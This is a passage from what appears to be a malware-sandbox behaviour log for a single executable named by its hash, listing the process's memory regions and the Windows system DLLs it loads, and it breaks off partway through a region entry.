# Flog Txt Version 1 # Analyzer Version: 4.3.0 # Analyzer Build Date: Sep 20 2021 05:59:55 # Log Creation Date: 28.09.2021 06:42:12.863 Process: id = "1" image_name = "7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" page_root = "0x55c66000" os_pid = "0x748" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x640" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 118 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 119 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 120 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 121 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 122 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 123 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 124 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 125 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 126 start_va = 0x400000 end_va = 0x518fff monitored = 1 entry_point = 0x401b2c region_type = mapped_file name = "7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") Region: id = 127 start_va = 0x778f0000 end_va = 0x77a6afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 128 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 129 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 130 start_va = 0x7fff0000 end_va = 0x7ffb28afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 131 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 132 start_va = 0x7ffb28cc1000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffb28cc1000" filename = "" Region: id = 270 start_va = 0x630000 end_va = 0x63ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 271 start_va = 0x657b0000 end_va = 0x65829fff monitored = 0 entry_point = 0x657c3290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x65840000 end_va = 0x6588ffff monitored = 0 entry_point = 0x65858180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 273 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 274 start_va = 0x65830000 end_va = 0x65837fff monitored = 0 entry_point = 0x658317c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 275 start_va = 0x640000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 276 start_va = 0x74650000 end_va = 0x7472ffff monitored = 0 entry_point = 0x74663980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 277 start_va = 0x75e80000 end_va = 0x75ffdfff monitored = 0 entry_point = 0x75f31b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 278 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 279 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 280 start_va = 0x520000 end_va = 0x5ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 281 start_va = 0x74570000 end_va = 0x74601fff monitored = 0 entry_point = 0x745b0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 282 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 283 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 284 start_va = 0x74790000 end_va = 0x748d6fff monitored = 0 entry_point = 0x747a1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 285 start_va = 0x758f0000 end_va = 0x75a3efff monitored = 0 entry_point = 0x759a6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 286 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 287 start_va = 0x640000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 288 start_va = 0x790000 end_va = 0x88ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 289 start_va = 0x5e0000 end_va = 0x609fff monitored = 0 entry_point = 0x5e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 290 start_va = 0x890000 end_va = 0xa17fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 291 start_va = 0x75e50000 end_va = 0x75e7afff monitored = 0 entry_point = 0x75e55680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 292 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 293 start_va = 0x5e0000 end_va = 0x5e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 294 start_va = 0xa20000 end_va = 0xba0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a20000" filename = "" Region: id = 295 start_va = 0xbb0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bb0000" filename = "" Region: id = 296 start_va = 0x1fb0000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 297 start_va = 0x2070000 end_va = 0x286ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002070000" filename = "" Region: id = 298 start_va = 0x5f0000 end_va = 0x5f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 299 start_va = 0x5f0000 end_va = 0x5f2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 300 start_va = 0x2070000 end_va = 0x2143fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002070000" filename = "" Region: id = 301 start_va = 0x2150000 end_va = 0x2222fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 302 start_va = 0x77820000 end_va = 0x7789afff monitored = 0 entry_point = 0x7783e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 303 start_va = 0x75680000 end_va = 0x7573dfff monitored = 0 entry_point = 0x756b5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 304 start_va = 0x75740000 end_va = 0x75783fff monitored = 0 entry_point = 0x75759d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 305 start_va = 0x74b50000 end_va = 0x74bfcfff monitored = 0 entry_point = 0x74b64f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 306 start_va = 0x74620000 end_va = 0x7463dfff monitored = 0 entry_point = 0x7462b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 307 start_va = 0x74610000 end_va = 0x74619fff monitored = 0 entry_point = 0x74612a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 308 start_va = 0x74730000 end_va = 0x74787fff monitored = 0 entry_point = 0x747725c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 309 start_va = 0x2150000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 310 start_va = 0x76370000 end_va = 0x7776efff monitored = 0 entry_point = 0x7652b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 311 start_va = 0x75300000 end_va = 0x75336fff monitored = 0 entry_point = 0x75303b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 312 start_va = 0x74c60000 end_va = 0x75158fff monitored = 0 entry_point = 0x74e67610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 313 start_va = 0x754b0000 end_va = 0x7566cfff monitored = 0 entry_point = 0x75592a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 314 start_va = 0x75790000 end_va = 0x757d4fff monitored = 0 entry_point = 0x757ade90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 315 start_va = 0x757e0000 end_va = 0x757ebfff monitored = 0 entry_point = 0x757e3930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 316 start_va = 0x748e0000 end_va = 0x7496cfff monitored = 0 entry_point = 0x74929b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 317 start_va = 0x77770000 end_va = 0x777b3fff monitored = 0 entry_point = 0x77777410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 318 start_va = 0x757f0000 end_va = 0x757fefff monitored = 0 entry_point = 0x757f2e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 319 start_va = 0x75670000 end_va = 0x75675fff monitored = 0 entry_point = 0x75671460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 320 start_va = 0x70830000 end_va = 0x70a3cfff monitored = 0 entry_point = 0x7091acb0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 321 start_va = 0x6cb00000 end_va = 0x6cc6afff monitored = 0 entry_point = 0x6cb6e360 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll") Region: id = 322 start_va = 0x6ca00000 end_va = 0x6cabefff monitored = 0 entry_point = 0x6ca11dfc region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll") Region: id = 323 start_va = 0x2240000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 324 start_va = 0x2240000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 325 start_va = 0x23f0000 end_va = 0x23fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 326 start_va = 0x742c0000 end_va = 0x742dafff monitored = 0 entry_point = 0x742c9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 327 start_va = 0x749d0000 end_va = 0x74b47fff monitored = 0 entry_point = 0x74a28a90 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 328 start_va = 0x74640000 end_va = 0x7464dfff monitored = 0 entry_point = 0x74645410 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 329 start_va = 0x75160000 end_va = 0x7524afff monitored = 0 entry_point = 0x7519d650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 330 start_va = 0x1fb0000 end_va = 0x2040fff monitored = 0 entry_point = 0x1fe8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 331 start_va = 0x2060000 end_va = 0x206ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 332 start_va = 0x72180000 end_va = 0x7244afff monitored = 0 entry_point = 0x723bc4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 333 start_va = 0x2400000 end_va = 0x2736fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 334 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005f0000" filename = "" Region: id = 335 start_va = 0x76150000 end_va = 0x761e1fff monitored = 0 entry_point = 0x76188cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 336 start_va = 0x600000 end_va = 0x600fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "counters.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat") Region: id = 337 start_va = 0x610000 end_va = 0x610fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 338 start_va = 0x75860000 end_va = 0x758e3fff monitored = 0 entry_point = 0x75886220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 339 start_va = 0x620000 end_va = 0x620fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000620000" filename = "" Region: id = 340 start_va = 0x740000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 341 start_va = 0x1fb0000 end_va = 0x1feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 342 start_va = 0x1ff0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 343 start_va = 0x2240000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 344 start_va = 0x2360000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002360000" filename = "" Region: id = 345 start_va = 0x2740000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 346 start_va = 0x2840000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 506 start_va = 0x2150000 end_va = 0x218ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002150000" filename = "" Region: id = 507 start_va = 0x2230000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 508 start_va = 0x2940000 end_va = 0x2a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002940000" filename = "" Region: id = 509 start_va = 0x780000 end_va = 0x78ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 510 start_va = 0x761f0000 end_va = 0x7624efff monitored = 0 entry_point = 0x761f4af0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 512 start_va = 0x70800000 end_va = 0x70811fff monitored = 0 entry_point = 0x70804510 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll") Region: id = 513 start_va = 0x72040000 end_va = 0x7206efff monitored = 0 entry_point = 0x7204bb70 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 514 start_va = 0x70760000 end_va = 0x707fafff monitored = 0 entry_point = 0x7079f7e0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 515 start_va = 0x2190000 end_va = 0x21cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 516 start_va = 0x2a40000 end_va = 0x2b3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a40000" filename = "" Region: id = 517 start_va = 0x72100000 end_va = 0x7214efff monitored = 0 entry_point = 0x7210d850 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 518 start_va = 0x70750000 end_va = 0x70757fff monitored = 0 entry_point = 0x70751fc0 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 519 start_va = 0x21d0000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 520 start_va = 0x2b40000 end_va = 0x2c3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b40000" filename = "" Region: id = 521 start_va = 0x75250000 end_va = 0x75256fff monitored = 0 entry_point = 0x75251e10 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 522 start_va = 0x72070000 end_va = 0x720f3fff monitored = 0 entry_point = 0x72096530 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 523 start_va = 0x70a40000 end_va = 0x70bbdfff monitored = 0 entry_point = 0x70abc630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 524 start_va = 0x2030000 end_va = 0x2030fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002030000" filename = "" Region: id = 525 start_va = 0x72030000 end_va = 0x72037fff monitored = 0 entry_point = 0x72031920 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 526 start_va = 0x71fe0000 end_va = 0x72026fff monitored = 0 entry_point = 0x71ff58d0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 527 start_va = 0x2040000 end_va = 0x2041fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002040000" filename = "" Region: id = 528 start_va = 0x2050000 end_va = 0x2050fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002050000" filename = "" Region: id = 529 start_va = 0x2210000 end_va = 0x2217fff monitored = 0 entry_point = 0x22119c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll") Region: id = 530 start_va = 0x2c40000 end_va = 0x303afff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c40000" filename = "" Region: id = 531 start_va = 0x70580000 end_va = 0x705e3fff monitored = 0 entry_point = 0x7059afd0 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 532 start_va = 0x2210000 end_va = 0x2211fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 533 start_va = 0x70570000 end_va = 0x7057ffff monitored = 0 entry_point = 0x70574600 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll") Region: id = 534 start_va = 0x70550000 end_va = 0x7056ffff monitored = 0 entry_point = 0x7055d120 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 535 start_va = 0x70520000 end_va = 0x7054bfff monitored = 0 entry_point = 0x7053bb10 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll") Region: id = 536 start_va = 0x2220000 end_va = 0x2220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 537 start_va = 0x704f0000 end_va = 0x704f7fff monitored = 0 entry_point = 0x704f1d70 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll") Region: id = 538 start_va = 0x778a0000 end_va = 0x778e1fff monitored = 0 entry_point = 0x778b6f10 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 539 start_va = 0x2210000 end_va = 0x2213fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002210000" filename = "" Region: id = 540 start_va = 0x704d0000 end_va = 0x704e2fff monitored = 0 entry_point = 0x704d9950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 541 start_va = 0x704a0000 end_va = 0x704cefff monitored = 0 entry_point = 0x704b95e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 542 start_va = 0x2370000 end_va = 0x23affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002370000" filename = "" Region: id = 543 start_va = 0x3040000 end_va = 0x313ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003040000" filename = "" Region: id = 544 start_va = 0x70500000 end_va = 0x70519fff monitored = 0 entry_point = 0x7050fa70 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\SysWOW64\\ncryptsslp.dll" (normalized: "c:\\windows\\syswow64\\ncryptsslp.dll") Region: id = 545 start_va = 0x3140000 end_va = 0x323ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003140000" filename = "" Region: id = 546 start_va = 0x3240000 end_va = 0x333ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003240000" filename = "" Region: id = 547 start_va = 0x2340000 end_va = 0x2350fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "c_20127.nls" filename = "\\Windows\\System32\\C_20127.NLS" (normalized: "c:\\windows\\system32\\c_20127.nls") Region: id = 548 start_va = 0x3340000 end_va = 0x353ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003340000" filename = "" Region: id = 549 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002220000" filename = "" Region: id = 550 start_va = 0x3680000 end_va = 0x37bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003680000" filename = "" Region: id = 551 start_va = 0x3540000 end_va = 0x363ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 552 start_va = 0x23b0000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 553 start_va = 0x2220000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002220000" filename = "" Region: id = 554 start_va = 0x2220000 end_va = 